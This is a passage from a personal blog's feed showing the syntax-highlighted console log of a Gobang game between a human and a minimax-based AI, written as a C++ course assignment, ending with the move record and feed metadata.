W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  B  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">Player White, enter move (x y) or <span class="number">-1</span> <span class="number">-1</span> to undo: <span class="number">1</span></span></span><br><span class="line"><span class="function"><span class="number">1</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">22</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> B  W  B  B  B  W  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  W  W  .  .  .  B  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  .  .  B  .  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  .  .  B  B  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  B  W  B  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  W  .  .  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  B  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">AI (Black) is thinking...</span></span><br><span class="line"><span class="function">AI plays at (<span class="number">4</span>, <span class="number">3</span>)</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">23</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> B  W  B  B  B  W  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  W  W  .  .  .  B  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  .  .  B  .  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  .  B  B  B  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  B  W  B  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  W  .  .  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  B  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">Player White, enter move (x y) or <span class="number">-1</span> <span class="number">-1</span> to undo: <span class="number">4</span></span></span><br><span class="line"><span class="function"><span class="number">3</span></span></span><br><span class="line"><span class="function">Position occupied. Try again.</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">23</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> B  W  B  B  B  W  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  W  W  .  .  .  B  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  .  .  B  .  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  .  B  B  B  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  B  W  B  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  W  .  .  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  B  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">Player White, enter move (x y) or <span class="number">-1</span> <span class="number">-1</span> to undo: <span class="number">4</span></span></span><br><span class="line"><span class="function"><span class="number">2</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">24</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> B  W  B  B  B  W  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  W  W  .  .  .  B  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  .  .  B  .  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  W  B  B  B  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  B  W  B  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  W  .  .  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  B  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">AI (Black) is thinking...</span></span><br><span class="line"><span class="function">AI plays at (<span class="number">3</span>, <span class="number">2</span>)</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">25</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> B  W  B  B  B  W  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  W  W  .  .  .  B  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  B  .  B  .  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  W  B  B  B  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  B  W  B  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  W  .  .  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  B  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">Player White, enter move (x y) or <span class="number">-1</span> <span class="number">-1</span> to undo: <span class="number">2</span></span></span><br><span class="line"><span class="function"><span class="number">1</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">26</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> B  W  B  B  B  W  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  W  .  W  W  .  .  .  B  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  B  .  B  .  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  W  B  B  B  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  B  W  B  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  W  .  .  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  B  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">AI (Black) is thinking...</span></span><br><span class="line"><span class="function">AI plays at (<span class="number">2</span>, <span class="number">5</span>)</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">27</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> B  W  B  B  B  W  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  W  .  W  W  B  .  .  B  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  B  .  B  .  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  W  B  B  B  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  B  W  B  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  W  .  .  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  B  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">Player White, enter move (x y) or <span class="number">-1</span> <span class="number">-1</span> to undo: <span class="number">3</span></span></span><br><span class="line"><span class="function"><span class="number">3</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">28</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> B  W  B  B  B  W  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  W  .  W  W  B  .  .  B  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  B  W  B  .  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  W  B  B  B  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  B  W  B  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  W  .  .  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  B  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">AI (Black) is thinking...</span></span><br><span class="line"><span class="function">AI plays at (<span class="number">5</span>, <span class="number">1</span>)</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">29</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> B  W  B  B  B  W  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  W  .  W  W  B  .  .  B  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  B  W  B  .  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  W  B  B  B  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  B  .  .  B  W  B  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  W  .  .  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  B  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">Player White, enter move (x y) or <span class="number">-1</span> <span class="number">-1</span> to undo: <span class="number">0</span></span></span><br><span class="line"><span class="function"><span class="number">6</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  W  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> B  W  B  B  B  W  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  W  .  W  W  B  .  .  B  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  B  W  B  .  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  W  B  B  B  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  B  .  .  B  W  B  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  W  .  .  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  B  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">Player White wins!</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">--- Game Record ---</span></span><br><span class="line"><span class="function">Step <span class="number">1</span>: Player Black -&gt; (<span class="number">4</span>, <span class="number">4</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">2</span>: Player White -&gt; (<span class="number">5</span>, <span class="number">5</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">3</span>: Player Black -&gt; (<span class="number">4</span>, <span class="number">5</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">4</span>: Player White -&gt; (<span class="number">4</span>, <span class="number">6</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">5</span>: Player Black -&gt; (<span class="number">5</span>, <span class="number">4</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">6</span>: Player White -&gt; (<span class="number">3</span>, <span class="number">6</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">7</span>: Player Black -&gt; (<span class="number">3</span>, <span class="number">4</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">8</span>: Player White -&gt; (<span class="number">6</span>, <span class="number">4</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">9</span>: Player Black -&gt; (<span class="number">5</span>, <span class="number">6</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">10</span>: Player White -&gt; (<span class="number">6</span>, <span class="number">7</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">11</span>: Player Black -&gt; (<span class="number">7</span>, <span class="number">3</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">12</span>: Player White -&gt; (<span class="number">3</span>, <span class="number">7</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">13</span>: Player Black -&gt; (<span class="number">2</span>, <span class="number">8</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">14</span>: Player White -&gt; (<span class="number">4</span>, <span class="number">7</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">15</span>: Player Black -&gt; (<span class="number">1</span>, <span class="number">4</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">16</span>: Player White -&gt; (<span class="number">2</span>, <span class="number">4</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">17</span>: Player Black -&gt; (<span class="number">1</span>, <span class="number">2</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">18</span>: Player White -&gt; (<span class="number">2</span>, <span class="number">3</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">19</span>: Player Black -&gt; (<span class="number">1</span>, <span class="number">3</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">20</span>: Player White -&gt; (<span class="number">1</span>, <span class="number">5</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">21</span>: Player Black -&gt; (<span class="number">1</span>, <span class="number">0</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">22</span>: Player White -&gt; (<span class="number">1</span>, <span class="number">1</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">23</span>: Player Black -&gt; (<span class="number">4</span>, <span class="number">3</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">24</span>: Player White -&gt; (<span class="number">4</span>, <span class="number">2</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">25</span>: Player Black -&gt; (<span class="number">3</span>, <span class="number">2</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">26</span>: Player White -&gt; (<span class="number">2</span>, <span class="number">1</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">27</span>: Player Black -&gt; (<span class="number">2</span>, <span class="number">5</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">28</span>: Player White -&gt; (<span class="number">3</span>, <span class="number">3</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">29</span>: Player Black -&gt; (<span class="number">5</span>, <span class="number">1</span>)</span></span><br><span class="line"><span class="function">Step <span class="number">30</span>: Player White -&gt; (<span class="number">0</span>, <span class="number">6</span>)</span></span><br></pre></td></tr></table></figure></details>]]>
    </content>
    <id>https://blog.z0z0r4.top/2025/12/25/gobang/</id>
    <link href="https://blog.z0z0r4.top/2025/12/25/gobang/"/>
    <published>2025-12-24T16:26:46.000Z</published>
    <summary>
      <![CDATA[<p>大概花了一下午，C++ 期末作业做了个简单的 AI 五子棋，使用 minimax 算法和 alpha-beta 剪枝。</p>]]>
    </summary>
    <title>Gobang</title>
    <updated>2026-03-28T06:35:09.153Z</updated>
  </entry>
  <entry>
    <author>
      <name>z0z0r4</name>
    </author>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/categories/study-notes/"/>
    <category term="coding" scheme="https://blog.z0z0r4.top/categories/study-notes/coding/"/>
    <category term="python" scheme="https://blog.z0z0r4.top/categories/study-notes/coding/python/"/>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/tags/study-notes/"/>
    <category term="python" scheme="https://blog.z0z0r4.top/tags/python/"/>
    <content>
